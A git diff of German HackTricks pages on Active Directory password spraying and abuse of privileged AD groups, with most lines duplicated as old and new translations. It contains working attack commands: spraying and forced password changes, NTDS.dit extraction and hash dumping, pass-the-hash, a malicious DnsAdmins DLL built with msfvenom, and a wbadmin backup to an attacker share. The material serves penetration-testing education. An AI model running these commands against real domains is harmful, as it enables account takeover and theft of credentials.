- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne generieren, die Passwortrichtlinie der Domäne abrufen und die Versuche entsprechend einschränken):
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne generieren und holt die Kennwortrichtlinie aus der Domäne und begrenzt die Versuche entsprechend):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,12 +100,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Identifizieren und Übernehmen von "Password must change at next logon" Konten (SAMR)
### Identifizieren und Übernehmen von "Password must change at next logon" Accounts (SAMR)
Eine geräuscharme Technik besteht darin, ein harmloses/leeres Passwort zu sprayen und Konten zu erfassen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das weist darauf hin, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann.
Eine Low-Noise-Technik ist, ein benign/empty password zu sprayen und Accounts abzufangen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben, was darauf hinweist, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann.
Workflow:
- Benutzer enumerieren (RID brute via SAMR), um die Zielliste aufzubauen:
- Enumerate users (RID brute via SAMR) to build the target list:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +114,12 @@ Workflow:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray ein leeres Passwort und mache bei hits weiter, um accounts zu erfassen, die beim next logon ihr Passwort ändern müssen:
- Spraye ein leeres Passwort und fahre bei Treffern fort, um Konten zu erfassen, die bei der nächsten Anmeldung ein Passwort ändern müssen:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Für jeden Treffer das Passwort über SAMR mit NetExecs module ändern (kein altes Passwort erforderlich, wenn "must change" gesetzt ist):
- Für jeden Treffer das Passwort über SAMR mit dem NetExec-Modul ändern (kein altes Passwort nötig, wenn "must change" gesetzt ist):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,26 +129,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Betriebliche Hinweise:
- Stellen Sie sicher, dass die Systemzeit Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate <dc_fqdn>`.
- Ein [+] ohne (Pwn3d!) in einigen Modulen (z. B. RDP/WinRM) bedeutet, dass die creds gültig sind, aber das Konto keine Rechte für interaktives Anmelden besitzt.
- Stellen Sie sicher, dass die Host-Uhr vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate <dc_fqdn>`.
- Ein [+] ohne (Pwn3d!) in einigen Modulen (z. B. RDP/WinRM) bedeutet, dass die creds gültig sind, das Konto jedoch keine interaktiven Anmeldeberechtigungen besitzt.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying mit LDAP targeting und PSO-aware throttling (SpearSpray)
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying reduziert Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD lockout policies. SpearSpray koppelt LDAP-driven targeting, eine pattern engine und policy awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprayen. Es kann auch kompromittierte principals in Neo4j für BloodHound pathing taggen.
Kerberos pre-authbased spraying reduziert Lärm gegenüber SMB/NTLM/LDAP bind attempts und steht besser im Einklang mit AD lockout policies. SpearSpray koppelt LDAP-driven targeting, eine pattern engine und policy awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprayen. Es kann außerdem kompromittierte principals in Neo4j für BloodHound pathing taggen.
Key ideas:
- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit custom LDAP-Filtern.
- Domain lockout policy + PSO-aware filtering, um einen konfigurierbaren Attempt-Buffer (threshold) zu belassen und Lockouts von Benutzern zu vermeiden.
- Kerberos pre-auth Validation mittels schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625).
- Pattern-basierte, pro-user Passwortgenerierung mit Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
- Throughput-Kontrolle mit threads, jitter und max requests pro Sekunde.
- Optionale Neo4j-Integration, um owned users für BloodHound zu markieren.
Kernideen:
- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional unter Verwendung benutzerdefinierter LDAP-Filter.
- Domain lockout policy + PSO-aware Filtering, um einen konfigurierbaren attempt buffer (threshold) zu belassen und Lockouts von Benutzern zu vermeiden.
- Kerberos pre-auth validation mittels schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625).
- Pattern-basierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet vom pwdLastSet jedes Benutzers.
- Durchsatzkontrolle mit Threads, Jitter und max requests pro Sekunde.
- Optionale Neo4j-Integration zum Markieren kompromittierter Benutzer für BloodHound.
Basic usage and discovery:
Grundlegende Nutzung und Erkennung:
```bash
# List available pattern variables
spearspray -l
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Zielausrichtung und Musterkontrolle:
Zielauswahl und Musterkontrolle:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth- und Sicherheitskontrollen:
Stealth und Sicherheitskontrollen:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -161,11 +176,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound Anreicherung:
Neo4j/BloodHound-Anreicherung:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Übersicht über das Pattern-System (patterns.txt):
Überblick über das Pattern-System (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
@ -176,15 +191,15 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
```
Verfügbare Variablen umfassen:
- {name}, {samaccountname}
- Zeitbezogen aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Kompositionshelfer und Organisations-Token: {separator}, {suffix}, {extra}
- Zeitliche Werte aus dem pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Kompositions-Hilfen und org-Token: {separator}, {suffix}, {extra}
Betriebliche Hinweise:
- Bevorzugen Sie das Abfragen des PDC-emulators mit -dc, um den autoritativsten badPwdCount und policy-bezogene Informationen auszulesen.
- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; verwenden Sie Schwellenwerte und Timing, um sicher zu bleiben.
- Kerberos pre-auth attempts erscheinen als 4768/4771 in DC-Telemetrie; verwenden Sie Jitter und Rate-Limiting, um sich anzupassen.
- Bevorzuge Abfragen des PDC-emulator mit -dc, um den autoritativsten badPwdCount und richtlinienbezogene Informationen auszulesen.
- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungszeitraum ausgelöst; verwende Schwellenwerte und Timing, um auf der sicheren Seite zu bleiben.
- Kerberos pre-auth attempts erscheinen als 4768/4771 in der DC-Telemetrie; verwende jitter und rate-limiting, um unauffällig zu bleiben.
> Tipp: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
> Tipp: SpearSprays default LDAP page size is 200; passe mit -lps bei Bedarf an.
## Outlook Web Access
@ -196,7 +211,7 @@ Es gibt mehrere Tools für p**assword spraying outlook**.
- Mit [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Mit [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein password bzw. eine kleine Liste von passwords, die gesprüht werden sollen.
Um eines dieser Tools zu verwenden, benötigst du eine Benutzerliste und ein Passwort bzw. eine kleine Liste von Passwörtern zum Sprayen.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -215,7 +230,7 @@ Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein pa
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## Referenzen
## Quellen
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
@ -227,6 +242,7 @@ Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein pa
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,90 +2,90 @@
{{#include ../../banners/hacktricks-training.md}}
## Bekannteste Gruppen mit Administrationsrechten
## Bekannte Gruppen mit Administrationsrechten
- **Administratoren**
- **Domänen-Administratoren**
- **Enterprise-Administratoren**
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## Konto-Operatoren
## Account Operators
Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Darüber hinaus ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).
Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die in der Domäne keine Administratoren sind. Zusätzlich ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).
Um die Mitglieder dieser Gruppe zu identifizieren, wird der folgende Befehl ausgeführt:
Um die Mitglieder dieser Gruppe zu ermitteln, wird der folgende Befehl ausgeführt:
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung an DC01.
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso die lokale Anmeldung am DC.
## AdminSDHolder-Gruppe
Die Access Control List (ACL) der **AdminSDHolder**-Gruppe ist entscheidend, da sie die Berechtigungen für alle "geschützten Gruppen" innerhalb von Active Directory festlegt, einschließlich hochprivilegierter Gruppen. Dieser Mechanismus gewährleistet die Sicherheit dieser Gruppen, indem er unbefugte Änderungen verhindert.
Die Access Control List (ACL) der **AdminSDHolder**-Gruppe ist entscheidend, da sie die Berechtigungen für alle "protected groups" in Active Directory festlegt, einschließlich Gruppen mit hohen Privilegien. Dieser Mechanismus sichert diese Gruppen, indem er unautorisierte Änderungen verhindert.
Ein Angreifer könnte dies ausnutzen, indem er die ACL der **AdminSDHolder**-Gruppe ändert und einem Standardbenutzer volle Berechtigungen gewährt. Dies würde diesem Benutzer effektiv die volle Kontrolle über alle geschützten Gruppen geben. Wenn die Berechtigungen dieses Benutzers geändert oder entfernt werden, würden sie aufgrund des Designs des Systems innerhalb einer Stunde automatisch wiederhergestellt.
Ein Angreifer könnte dies ausnutzen, indem er die ACL der **AdminSDHolder**-Gruppe ändert und einem Standardbenutzer volle Berechtigungen gewährt. Dadurch würde dieser Benutzer effektiv die vollständige Kontrolle über alle protected groups erhalten. Wenn die Berechtigungen dieses Benutzers verändert oder entfernt werden, werden sie aufgrund des Systemdesigns innerhalb einer Stunde automatisch wiederhergestellt.
Befehle zur Überprüfung der Mitglieder und zur Änderung der Berechtigungen umfassen:
Befehle zum Anzeigen der Mitglieder und zum Ändern von Berechtigungen sind unter anderem:
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
Ein Skript ist verfügbar, um den Wiederherstellungsprozess zu beschleunigen: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Ein Skript steht zur Verfügung, um den Wiederherstellungsprozess zu beschleunigen: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Für weitere Details besuchen Sie [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
Weitere Informationen finden Sie auf [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD Papierkorb
## AD Recycle Bin
Die Mitgliedschaft in dieser Gruppe ermöglicht das Lesen von gelöschten Active Directory-Objekten, was sensible Informationen offenbaren kann:
Die Mitgliedschaft in dieser Gruppe ermöglicht das Lesen gelöschter Active Directory-Objekte, was sensible Informationen offenlegen kann:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### Zugriff auf den Domänencontroller
### Zugriff auf den Domain Controller
Der Zugriff auf Dateien auf dem DC ist eingeschränkt, es sei denn, der Benutzer ist Teil der Gruppe `Server Operators`, die das Zugriffslevel ändert.
Der Zugriff auf Dateien auf dem DC ist eingeschränkt, es sei denn, der Benutzer ist Mitglied der `Server Operators`-Gruppe, die das Zugriffslevel ändert.
### Privilegieneskalation
### Privilege Escalation
Mit `PsService` oder `sc` von Sysinternals kann man die Berechtigungen von Diensten inspizieren und ändern. Die Gruppe `Server Operators` hat beispielsweise die volle Kontrolle über bestimmte Dienste, was die Ausführung beliebiger Befehle und die Eskalation von Rechten ermöglicht:
Mit `PsService` oder `sc` aus Sysinternals kann man Service-Berechtigungen prüfen und ändern. Die `Server Operators`-Gruppe hat beispielsweise die volle Kontrolle über bestimmte Dienste, wodurch die Ausführung beliebiger Befehle und privilege escalation möglich wird:
```cmd
C:\> .\PsService.exe security AppReadiness
```
Dieser Befehl zeigt, dass `Server Operators` vollen Zugriff haben, was die Manipulation von Diensten für erhöhte Berechtigungen ermöglicht.
Dieser Befehl zeigt, dass `Server Operators` vollständigen Zugriff haben, was die Manipulation von Diensten zur Erlangung erhöhter Privilegien ermöglicht.
## Backup Operators
Die Mitgliedschaft in der Gruppe `Backup Operators` gewährt Zugriff auf das Dateisystem von `DC01` aufgrund der Berechtigungen `SeBackup` und `SeRestore`. Diese Berechtigungen ermöglichen das Durchqueren von Ordnern, das Auflisten und das Kopieren von Dateien, selbst ohne ausdrückliche Berechtigungen, unter Verwendung des Flags `FILE_FLAG_BACKUP_SEMANTICS`. Es ist notwendig, spezifische Skripte für diesen Prozess zu verwenden.
Die Mitgliedschaft in der Gruppe `Backup Operators` gewährt Zugriff auf das Dateisystem von `DC01` aufgrund der Privilegien `SeBackup` und `SeRestore`. Diese Privilegien ermöglichen das Durchqueren von Ordnern, das Auflisten und Kopieren von Dateien, selbst ohne explizite Berechtigungen, durch Verwendung des Flags `FILE_FLAG_BACKUP_SEMANTICS`. Für diesen Vorgang ist die Nutzung spezifischer Skripte erforderlich.
Um die Gruppenmitglieder aufzulisten, führen Sie aus:
Um Gruppenmitglieder aufzulisten, führen Sie aus:
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### Lokaler Angriff
Um diese Berechtigungen lokal zu nutzen, werden die folgenden Schritte durchgeführt:
Um diese Privilegien lokal zu nutzen, werden die folgenden Schritte angewendet:
1. Notwendige Bibliotheken importieren:
```bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```
2. Aktivieren und überprüfen Sie `SeBackupPrivilege`:
2. `SeBackupPrivilege` aktivieren und überprüfen:
```bash
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
3. Greifen Sie auf Dateien in eingeschränkten Verzeichnissen zu und kopieren Sie diese, zum Beispiel:
3. Auf eingeschränkte Verzeichnisse zugreifen und Dateien kopieren, z. B.:
```bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
```
### AD-Angriff
Der direkte Zugriff auf das Dateisystem des Domänencontrollers ermöglicht den Diebstahl der `NTDS.dit`-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.
Direkter Zugriff auf das Dateisystem des Domänencontrollers ermöglicht den Diebstahl der `NTDS.dit`-Datenbank, die alle NTLM-Hashes von Domänenbenutzern und -computern enthält.
#### Verwendung von diskshadow.exe
1. Erstellen Sie eine Schattenkopie des `C`-Laufwerks:
1. Erstelle eine Schattenkopie des Laufwerks `C`:
```cmd
diskshadow.exe
set verbose on
@ -102,23 +102,31 @@ exit
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
Alternativ können Sie `robocopy` zum Kopieren von Dateien verwenden:
Alternativ verwenden Sie `robocopy` zum Kopieren von Dateien:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
3. Extrahiere `SYSTEM` und `SAM` zur Hash-Abfrage:
3. Extrahiere `SYSTEM` und `SAM` zur Gewinnung von Hashes:
```cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
4. Alle Hashes aus `NTDS.dit` abrufen:
4. Alle Hashes aus `NTDS.dit` extrahieren:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
5. Nach der Extraktion: Pass-the-Hash zu DA
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### Verwendung von wbadmin.exe
1. Richten Sie das NTFS-Dateisystem für den SMB-Server auf der Angreifermaschine ein und cachen Sie die SMB-Anmeldeinformationen auf der Zielmaschine.
2. Verwenden Sie `wbadmin.exe` für die Systembackup- und `NTDS.dit`-Extraktion:
1. Richten Sie ein NTFS-Dateisystem für einen SMB-Server auf dem Angreiferrechner ein und speichern Sie die SMB-Anmeldeinformationen auf dem Zielrechner zwischen.
2. Verwenden Sie `wbadmin.exe` für System-Backups und die Extraktion von `NTDS.dit`:
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
```
Für eine praktische Demonstration siehe [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
Für eine praktische Demonstration, siehe [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins
Mitglieder der **DnsAdmins**-Gruppe können ihre Berechtigungen ausnutzen, um eine beliebige DLL mit SYSTEM-Berechtigungen auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit ermöglicht erhebliches Ausnutzungspotenzial.
Mitglieder der **DnsAdmins**-Gruppe können ihre Rechte ausnutzen, um eine beliebige DLL mit SYSTEM-Rechten auf einem DNS-Server zu laden, der häufig auf Domain Controllers gehostet wird. Diese Möglichkeit eröffnet erhebliche Ausnutzungsmöglichkeiten.
Um die Mitglieder der DnsAdmins-Gruppe aufzulisten, verwenden Sie:
Um die Mitglieder der Gruppe **DnsAdmins** aufzulisten, verwenden Sie:
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Führen Sie beliebige DLL aus
### Execute arbitrary DLL (CVE202140469)
Mitglieder können den DNS-Server anweisen, eine beliebige DLL (entweder lokal oder von einem Remote-Share) mit Befehlen wie: zu laden
> [!NOTE]
> Diese Schwachstelle ermöglicht die Ausführung beliebigen Codes mit SYSTEM-Rechten im DNS-Dienst (üblicherweise auf den DCs). Dieses Problem wurde 2021 behoben.
Mitglieder können den DNS-Server dazu bringen, eine beliebige DLL zu laden (entweder lokal oder von einem Remote-Share), indem sie Befehle wie die folgenden verwenden:
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
```
```c
@ -158,7 +172,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
Das Neustarten des DNS-Dienstes (was zusätzliche Berechtigungen erfordern kann) ist notwendig, damit die DLL geladen werden kann:
Ein Neustart des DNS-Dienstes (was zusätzliche Berechtigungen erfordern kann) ist erforderlich, damit die DLL geladen wird:
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
@ -167,81 +181,85 @@ Für weitere Details zu diesem Angriffsvektor siehe ired.team.
#### Mimilib.dll
Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem es modifiziert wird, um spezifische Befehle oder Reverse Shells auszuführen. [Überprüfen Sie diesen Beitrag](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) für weitere Informationen.
Es ist ebenfalls möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem man sie so modifiziert, dass sie bestimmte Befehle oder reverse shells ausführt. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
### WPAD Record für MitM
### WPAD-Record für MitM
DnsAdmins können DNS-Einträge manipulieren, um Man-in-the-Middle (MitM)-Angriffe durch das Erstellen eines WPAD-Eintrags nach Deaktivierung der globalen Abfrageblockliste durchzuführen. Tools wie Responder oder Inveigh können zum Spoofing und Erfassen von Netzwerkverkehr verwendet werden.
DnsAdmins können DNS-Einträge manipulieren, um Man-in-the-Middle (MitM)-Angriffe durchzuführen, indem sie einen WPAD-Record erstellen, nachdem sie die global query block list deaktiviert haben. Tools wie Responder oder Inveigh können für Spoofing und das Erfassen von Netzwerkverkehr verwendet werden.
### Event Log Readers
Mitglieder können auf Ereignisprotokolle zugreifen und möglicherweise sensible Informationen wie Klartextpasswörter oder Details zur Befehlsausführung finden:
Mitglieder können auf Event-Logs zugreifen und dabei möglicherweise sensible Informationen wie Klartext-Passwörter oder Details zur Befehlsausführung finden:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows-Berechtigungen
## Exchange Windows Berechtigungen
Diese Gruppe kann DACLs auf dem Domänenobjekt ändern und möglicherweise DCSync-Berechtigungen gewähren. Techniken zur Privilegieneskalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub-Repo detailliert beschrieben.
Diese Gruppe kann DACLs am Domänenobjekt ändern und dadurch möglicherweise DCSync-Privilegien gewähren. Techniken zur privilege escalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub repo detailliert beschrieben.
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V-Administratoren
Hyper-V-Administratoren haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um die Kontrolle über virtualisierte Domänencontroller zu erlangen. Dazu gehört das Klonen von aktiven DCs und das Extrahieren von NTLM-Hashes aus der NTDS.dit-Datei.
Hyper-V-Administratoren haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um Kontrolle über virtualisierte Domänencontroller zu erlangen. Dazu gehört das Klonen laufender DCs und das Extrahieren von NTLM-Hashes aus der NTDS.dit-Datei.
### Beispiel für eine Ausnutzung
### Beispiel zur Ausnutzung
Der Mozilla Wartungsdienst von Firefox kann von Hyper-V-Administratoren ausgenutzt werden, um Befehle als SYSTEM auszuführen. Dies beinhaltet das Erstellen eines Hardlinks zu einer geschützten SYSTEM-Datei und das Ersetzen dieser durch eine bösartige ausführbare Datei:
Firefox's Mozilla Maintenance Service kann von Hyper-V-Administratoren ausgenutzt werden, um Befehle als SYSTEM auszuführen. Dies beinhaltet das Erstellen eines Hardlinks auf eine geschützte SYSTEM-Datei und deren Ersetzung durch eine bösartige ausführbare Datei:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
```
Hinweis: Die Ausnutzung von Hardlinks wurde in den neuesten Windows-Updates gemindert.
Hinweis: Hard link exploitation wurde in aktuellen Windows-Updates mitigiert.
## Organisation Management
## Group Policy Creators Owners
In Umgebungen, in denen **Microsoft Exchange** bereitgestellt ist, hat eine spezielle Gruppe, die als **Organisation Management** bekannt ist, erhebliche Fähigkeiten. Diese Gruppe hat das Privileg, **auf die Postfächer aller Domänenbenutzer zuzugreifen** und hat **vollständige Kontrolle über die 'Microsoft Exchange Security Groups'** Organisationseinheit (OU). Diese Kontrolle umfasst die **`Exchange Windows Permissions`** Gruppe, die für Privilegieneskalation ausgenutzt werden kann.
Diese Gruppe erlaubt ihren Mitgliedern, Group Policies in der Domain zu erstellen. Allerdings können ihre Mitglieder Group Policies nicht auf Benutzer oder Gruppen anwenden oder vorhandene GPOs bearbeiten.
### Privilegienausnutzung und Befehle
## Organization Management
#### Druckeroperatoren
In Umgebungen, in denen **Microsoft Exchange** eingesetzt wird, verfügt eine spezielle Gruppe namens **Organization Management** über erhebliche Möglichkeiten. Diese Gruppe ist berechtigt, **auf die Postfächer aller Domain-Benutzer zuzugreifen** und hat **volle Kontrolle über die Organizational Unit (OU) 'Microsoft Exchange Security Groups'**. Diese Kontrolle umfasst die **`Exchange Windows Permissions`**-Gruppe, die für Privilege Escalation ausgenutzt werden kann.
Mitglieder der Gruppe **Druckeroperatoren** sind mit mehreren Privilegien ausgestattet, einschließlich des **`SeLoadDriverPrivilege`**, das es ihnen ermöglicht, **lokal auf einen Domänencontroller zuzugreifen**, ihn herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen, insbesondere wenn **`SeLoadDriverPrivilege`** in einem nicht erhöhten Kontext nicht sichtbar ist, ist es notwendig, die Benutzerkontensteuerung (UAC) zu umgehen.
### Privilege Exploitation and Commands
#### Print Operators
Mitglieder der **Print Operators**-Gruppe besitzen mehrere Privilegien, einschließlich des **`SeLoadDriverPrivilege`**, das ihnen erlaubt, sich **lokal an einem Domänencontroller anzumelden**, diesen herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen, insbesondere wenn **`SeLoadDriverPrivilege`** in einem nicht erhöhten Kontext nicht sichtbar ist, ist ein Umgehen der User Account Control (UAC) erforderlich.
Um die Mitglieder dieser Gruppe aufzulisten, wird der folgende PowerShell-Befehl verwendet:
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
Für detailliertere Ausbeutungstechniken im Zusammenhang mit **`SeLoadDriverPrivilege`** sollte man spezifische Sicherheitsressourcen konsultieren.
Für detailliertere exploitation techniques im Zusammenhang mit **`SeLoadDriverPrivilege`** sollte man spezifische Sicherheitsressourcen konsultieren.
#### Remote Desktop Users
#### Remote Desktop-Benutzer
Die Mitglieder dieser Gruppe erhalten Zugriff auf PCs über das Remote Desktop Protocol (RDP). Um diese Mitglieder aufzulisten, stehen PowerShell-Befehle zur Verfügung:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
